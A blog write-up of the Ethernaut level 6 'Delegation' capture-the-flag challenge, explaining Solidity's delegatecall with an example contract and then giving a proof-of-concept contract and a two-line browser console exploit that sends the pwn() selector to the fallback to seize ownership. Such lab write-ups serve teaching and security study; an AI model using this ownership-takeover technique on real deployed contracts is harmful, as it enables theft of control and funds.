Ethernaut Puzzle 06 Delegation

It’s been half a year past since the last challenge. Let me start again and complete this series of challenges.

The sixth level of Ethernaut is a very interesting challenge that mainly tests our understanding of delegateCall.

delegatecall is a low-level function in Solidity that is used to execute code from another contract in the context of the current contract. It is similar to call, but with an important difference: when you use delegatecall, the called contract’s code is executed with the current contract’s context, which means that any storage, balances, or other state variables will be those of the current contract.

Here’s an example of how delegatecall works:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.8.0;

contract B {
uint public x;

function setX(uint _x) public {
x = _x;
}
}

contract A {
uint public x;
B public b;

constructor(address _b) {
b = B(_b);
}

function setX(uint _x) public {
x = _x;
}

function setXFromB(uint _x) public {
(bool success, ) = address(b).delegatecall(abi.encodeWithSignature("setX(uint256)", _x));
require(success, "delegatecall failed");
}
}

In this example, A has a reference to a B instance and a setXFromB function that uses delegatecall to call B‘s setX function with the same argument. When setXFromB is called, B‘s code is executed in the context of A, which means that the x variable in A will be set instead of the x variable in B.

It’s important to note that delegatecall is a powerful tool, but also a dangerous one. If you’re not careful, you can inadvertently change the state of your contract in unexpected ways. Always make sure you understand how it works before using it, and test your code thoroughly to ensure that it behaves as expected.

This challenge requires us to claim the ownership of the Delegation smart contract.

To claim the ownership, the method is straightforward, which is to find a way to call the fallback function of Delegation, and pass pwn() as msg.data. This will call the pwn() function inside the Delegate smart contract and assign the ownership.

At first, my idea was to write a smart contract to claim the ownership. My smart contract looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;

interface Delegation {
}
contract POC {
Delegation level6 = Delegation(0xeC926C37acc2E36240c484841A2a9847C708475d);

function run() external {

(bool success, ) = address(level6).call(abi.encodeWithSignature("pwn()"));
}
}

However, I realized later that this method would result in the ownership being assigned to the address of my smart contract instead of my address.

So, I needed to initiate the transaction myself and call the fallback function of the Delegation contract, passing pwn() as msg.data.

Run these two commands in the console of the browser:

1
2
var pwn_hacked = web3.utils.keccak256("pwn()")
contract.sendTransaction({data: pwn_hacked})

That’s done! Sumbit the instance!